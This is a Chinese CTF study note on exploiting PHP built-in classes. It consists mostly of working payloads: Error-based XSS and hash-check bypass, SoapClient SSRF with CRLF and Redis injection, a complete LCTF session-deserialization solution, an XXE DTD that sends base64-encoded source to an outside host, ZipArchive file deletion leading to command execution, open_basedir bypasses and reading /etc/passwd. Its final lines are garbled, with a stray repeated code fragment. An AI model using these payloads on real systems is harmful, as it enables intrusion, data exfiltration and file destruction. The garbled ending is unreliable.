前提知识
寻找原生类
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
常遇到的几个 PHP 原生类如下
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
Error/Exception
- message:错误消息内容
- code:错误代码
- file:抛出错误的文件名
- line:抛出错误在该文件中的行数
Error XSS
适用于php7
开启报错的情况下
<?php $a = unserialize($_GET['b']); echo $a;
<?php $a = new Error("<script>alert('1')</script>"); echo urlencode(serialize($a));
Excepthin XSS
适用于php5、7版本
开启报错的情况下
<?php $a = new Exception("<script>alert('1')</script>"); echo urlencode(serialize($a));
Error 命令执行
<?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); ?>
?a=Error&b=phpinfo
?a=Error&b=system(‘ipconfig’)
绕过哈希比较
Error implements Throwable { /* 属性 */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* 方法 */ public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
<?php $a = new Error("coleak",1);$b = new Error("coleak",2); echo $a.PHP_EOL.PHP_EOL; echo $b;
Error: coleak in E:\phpproject\Pro\1.php:2
Stack trace:
#0 {main}
Error: coleak in E:\phpproject\Pro\1.php:2
Stack trace:
#0 {main}
$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的
利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
本地测试
<?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $s=new SYCLOVER(); $s->lover=array("coleak"); $s->syc[]="echo 1;"; //echo urlencode(serialize($s)); if( ($s->syc != $s->lover) && (md5($s->syc) === md5($s->lover)) && (sha1($s->syc)=== sha1($s->lover)) ) { if (!preg_match("/\<\?php|\(|\)|\"|\'/", $s->syc, $match)) { eval($s->syc); // echo 1; } } // } else { // die("Try Hard !!"); // } // echo 1; ?>
eval($s->syc);这步报错,不能将一个数组当代码执行
只有当$s->syc[0]则可以成功执行命令
md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。 preg_match,过滤了括号,无法调用函数,尝试include "flag",但是引号过滤了,我们可以使用两次取反,自动获得字符串的。
poc
<?php class SYCLOVER { public $syc; public $lover; } $cmd='flag'; $cmd=urlencode(~$cmd); //echo $cmd; $str = "?><?=include~".urldecode("%99%93%9E%98")."?>"; $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
SoapClient
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
SSRF
该内置类有一个
__call
方法,当__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个__call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
<?php //uri+cc=SOAPAction $a = new SoapClient(null,array('location'=>'http://ip:6666/coleak', 'uri'=>'http://ip:6666')); $a->cc(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
POST /coleak HTTP/1.1 Host: ip:6666 Connection: Keep-Alive User-Agent: PHP-SOAP/7.3.4 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://ip:6666#cc" Content-Length: 386 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://ip:6666" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:cc/></SOAP-ENV:Body></SOAP-ENV:Envelope>
SSRF+CRLF
<?php $target = 'http://ip:6666'; $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test11')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
POST / HTTP/1.1 Host: ip:6666 Connection: Keep-Alive User-Agent: WHOAMI Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 Content-Type: text/xml; charset=utf-8 SOAPAction: "test11#a" Content-Length: 367 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test11" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
插入Redis命令
<?php $target = 'http://ip:6666/'; $poc = "CONFIG SET dir /var/www/html"; $a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello')); $b = serialize($a); $b = str_replace('^^',"\n\r",$b); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
POST / HTTP/1.1 Host: ip:6666 Connection: Keep-Alive User-Agent: PHP-SOAP/7.3.4 Content-Type: text/xml; charset=utf-8 SOAPAction: "hello CONFIG SET dir /var/www/html hello#a" Content-Length: 403
发送POST数据包,Content-Type 的值设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔
\r\n\r\n
,其他间隔\r\n
<?php $target = 'http://ip:6666/'; $post_data = 'data=whoami'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $a = new SoapClient(null,array('location' => $target,'user_agent'=>'coleak^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test')); $b = serialize($a); $b = str_replace('^^',"\n\r",$b); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
POST / HTTP/1.1 Host: ip:6666 Connection: Keep-Alive User-Agent: coleak Content-Type: application/x-www-form-urlencoded X-Forwarded-For: 127.0.0.1 Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93 Content-Length: 11 data=whoami Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
bestphp’s revenge
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?> array(0) { }
扫描目录出来flag.php
only localhost can get flag! session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1") { $_SESSION['flag'] = $flag; } only localhost can get flag!
这里REMOTE_ADDR没法通过X-Forwarded-For等常规方法伪造,考虑使用php原生类进行SSRF
?name=coleak array(1) { ["name"]=> string(6) "coleak" }
poc
<?php $target = "http://127.0.0.1/flag.php"; $attack = new SoapClient(null,array('location' => $target, 'user_agent' => "coleak\r\nCookie: PHPSESSID=33t4er7gfrn4ki5d3sljmps1t1\r\n", 'uri' => "coleak")); $payload = urlencode(serialize($attack)); echo $payload;
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
现在需要我们反序列化这个对象,但这里有没有反序列化点,我们在题目源码中发现了session_start();,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D serialize_handler=php_serialize
此时,我们成功将我们php原生类SoapClient构造的payload传入了构造的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发
__call
方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018')); //call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=extract b=call_user_func
重新访问得到存在session的flag
SimpleXMLElement
final public __construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] ) public SimpleXMLElement::__construct ( string $data, int $options = 0, bool $dataIsURL = false, string $namespaceOrPrefix = "", bool $isPrefix = false )
XXE
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
当我们将第三个参数
data_is_url
设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
Homework
<?php class calc{ function __construct__(){ calc(); } function calc($args1,$method,$args2){ $args1=intval($args1); $args2=intval($args2); switch ($method) { case 'a': $method="+"; break; case 'b': $method="-"; break; case 'c': $method="*"; break; case 'd': $method="/"; break; default: die("invalid input"); } $Expression=$args1.$method.$args2; eval("\$r=$Expression;"); die("Calculation results:".$r); } } ?>
根据calc类里面的内容得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。 test.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:6666?p=%file;'>"> a.xml <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> /show.php?module=SimpleXMLElement&args[]=http://ip/a.xml&args[]=2&args[]=true
index.php
<?php include("function.php"); include("config.php"); $username=w_addslashes($_COOKIE['user']); $check_code=$_COOKIE['cookie-check']; $check_sql="select password from user where username='".$username."'"; $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']); if($check_sum!==$check_code){ header("Location: login.php"); } ?> <?php readfile("./calc.php");?>
show.php
<?php include("function.php"); include("config.php"); include("calc.php"); if(isset($_GET['action'])&&$_GET['action']=="view"){ if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden."); if(!empty($_GET['filename'])){ $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql); $file_name=$file_info['0']['2']; echo("file code: ".file_get_contents("./upload/".$file_name.".txt")); $new_sig=mt_rand(); sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql); die("<br>new sig:".$new_sig); }else{ die("Null filename"); } } $username=w_addslashes($_COOKIE['user']); $check_code=$_COOKIE['cookie-check']; $check_sql="select password from user where username='".$username."'"; $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']); if($check_sum!==$check_code){ header("Location: login.php"); } $module=$_GET['module']; $args=$_GET['args']; do_api($module,$args); ?>
function.php
<?php function sql_result($sql,$mysql){ if($result=mysqli_query($mysql,$sql)){ $result_array=mysqli_fetch_all($result); return $result_array; }else{ echo mysqli_error($mysql); return "Failed"; } } function upload_file($mysql){ if($_FILES){ if($_FILES['file']['size']>2*1024*1024){ die("File is larger than 2M, forbidden upload"); } if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){ $filehash=md5(mt_rand()); if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed"); $new_filename="./upload/".$filehash.".txt"; move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful."); }else{ $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed"); $new_filename="./upload/".$hash[0][0].".txt"; move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed"); die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful."); } }else{ die("Not upload file"); } } } function w_addslashes($string){ return addslashes(trim($string)); } function do_api($module,$args){ $class = new ReflectionClass($module); $a=$class->newInstanceArgs($args); } ?>
十六进制转化
a='277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27' hex_string = "" for i in range(0, len(a), 2): hex_byte = a[i:i+2] # 每两个字符为一个十六进制字节 decimal_value = int(hex_byte, 16) # 将十六进制字节转换为十进制值 char = chr(decimal_value) # 将十进制值转换为字符 hex_string += char print(hex_string) import binascii a=b"'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'" a=binascii.b2a_hex(a) print(a)
ZipArchive
ZipArchive类可以对文件进行压缩与解压缩处理。
条件:php 5.20
常见的类方法
ZipArchive::addEmptyDir:添加一个新的文件目录 ZipArchive::addFile:将文件添加到指定zip压缩包中 ZipArchive::addFromString:添加新的文件同时将内容添加进去 ZipArchive::close:关闭ziparchive ZipArchive::extractTo:将压缩包解压 ZipArchive::open:打开一个zip压缩包 ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
ZipArchive::open
方法
ZipArchive::open(string $filename, int $flags=0) 该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。 filename:要打开的ZIP存档的文件名。 flags:用于打开档案的模式。有以下几种模式: ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。 ZipArchive::CREATE:如果不存在则创建一个zip压缩包。 ZipArchive::RDONLY:只读模式打开压缩包。 ZipArchive::EXCL:如果压缩包已经存在,则出错。 ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。 注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8
[NepCTF 2021]梦里花开牡丹亭
<?php highlight_file(__FILE__); error_reporting(0); include('shell.php'); class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; public function __construct() { $this->username='user'; $this->password='user'; } public function __wakeup(){ if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin $this->choice=new login($this->file,$this->filename,$this->content); }else{ $this->choice = new register(); } } public function __destruct() { $this->choice->checking($this->username,$this->password); } } class login{ public $file; public $filename; public $content; public function __construct($file,$filename,$content) { $this->file=$file; $this->filename=$filename; $this->content=$content; } public function checking($username,$password) { if($username==='admin'&&$password==='admin'){ $this->file->open($this->filename,$this->content); die('login success you can to open shell file!'); } } } class register{ public function checking($username,$password) { if($username==='admin'&&$password==='admin'){ die('success register admin'); }else{ die('please register admin '); } } } class Open{ function open($filename, $content){ if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag shell($content); }else{ echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell } } } if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){ @unserialize(base64_decode($_POST['unser'])); }
这里一开始存在waf.txt不能执行shell,通过反序列化进入file_get_contents先读取shell.php的内容
poc
$a=new Game(); $a->register='admin'; $a->filename='shell'; $a->password='admin'; $a->username='admin'; $a->content="coleak"; $a->file=new Open(); echo base64_encode(serialize($a));
这里需要查看源码才能看到shell.php的内容,因此我们也可以将filename改为伪协议
php://filter/read=convert.base64-encode/resource=shell
shell.php
<?php function shell($cmd){ if(strlen($cmd)<10){ if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){ die("NO"); }else{ return system($cmd); } }else{ die('so long!'); } }
利用ZipArchive的open函数删除文件
<?php error_reporting(-1); class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; } class login{ public $file; public $filename; public $content; } class Open{ } $poc = new Game(); $poc->username = "admin"; $poc->password = "admin"; $poc->register = "admin"; $poc->file = new ZipArchive(); $poc->filename = "waf.txt"; $poc->content = 8; echo base64_encode(serialize($poc)); ?>
执行命令
$poc = new Game(); $poc->username = "admin"; $poc->password = "admin"; $poc->register = "admin"; $poc->file = new Open(); $poc->filename = "xxx"; $poc->content = "n\l /flag"; echo base64_encode(serialize($poc)); ?>
文件操作类
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
- SplFileObject 类
遍历文件目录
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
DirectoryIterator
执行echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名
<?php $dir=new DirectoryIterator("/"); echo $dir;
遍历文件目录,直接对文件全部输出出来
<?php $dir=new DirectoryIterator("/"); foreach($dir as $f){ echo($f.'<br>'); //echo($f->__toString().'<br>'); }
glob:// 协议用来查找匹配的文件路径模式
<?php $dir=new DirectoryIterator("glob:///*fl*"); echo $dir;
FilesystemIterator
FilesystemIterator 类与 DirectoryIterator 类相同
GlobIterator类
<?php $dir = '/fl*'; $a = new GlobIterator($dir); foreach($a as $f){ echo $f; } ?>
绕过 open_basedir
获取目录
DirectoryIterator类 + glob://协议
<?php print_r(ini_get('open_basedir').'<br>'); $dir_array = array(); $dir = new DirectoryIterator('glob:///*');//目录内容 foreach($dir as $d){ $dir_array[] = $d->__toString(); } $dir = new DirectoryIterator('glob:///.*');//. .. foreach($dir as $d){ $dir_array[] = $d->__toString(); } sort($dir_array); foreach($dir_array as $d){ echo $d.' '; } ?>
FilesystemIterator类 + glob://协议
<?php $dir_array = array(); $dir = new FilesystemIterator('glob:///*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } $dir = new FilesystemIterator('glob:///.*'); foreach($dir as $d){ $dir_array[] = $d->__toString(); } sort($dir_array); foreach($dir_array as $d){ echo $d.' '; }
文件读取
<?php ini_set('open_basedir','/coleak/c'); print_r(ini_get('open_basedir')); echo file_get_contents('/flag.txt');
这里由于设置了文件工作目录无法直接读取到flag,需要绕过open_basedir,但shell命令不受影响
官方文档显示脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置,因此不能直接使用ini_set_来修改路径
ini_set(‘open_basedir’,‘/’);
ini_set() + 相对路径
由于open_basedir自身的问题,设置为相对路径
..
在解析的时候会致使自身向上跳转一层
<?php show_source(__FILE__); print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','C:\\'); print_r(ini_get('open_basedir').'<br>'); echo file_get_contents('C:\\test\\test.txt'); ?>
symlink
symlink是软连接,通过偷梁换柱的方法绕过open_basedir 当前路径是/www/wwwroot/default,新建目录数量=需要上跳次数+1 软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
<?php show_source(__FILE__); mkdir("1");chdir("1"); mkdir("2");chdir("2"); mkdir("3");chdir("3"); mkdir("4");chdir("4"); chdir("..");chdir("..");chdir("..");chdir(".."); symlink("1/2/3/4","tmplink"); symlink("tmplink/../../../../etc/hosts","bypass"); unlink("tmplink"); mkdir("tmplink"); echo file_get_contents("bypass"); ?>
读取文件
SplFileObject
读取文件的一行
<?php $context = new SplFileObject('/etc/passwd'); echo $context;
对文件中的每一行内容进行遍历
<?php $context = new SplFileObject('/etc/passwd'); foreach($context as $f){ echo($f); } hdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','C:\\'); print_r(ini_get('open_basedir').'<br>'); echo file_get_contents('C:\\test\\test.txt'); ?>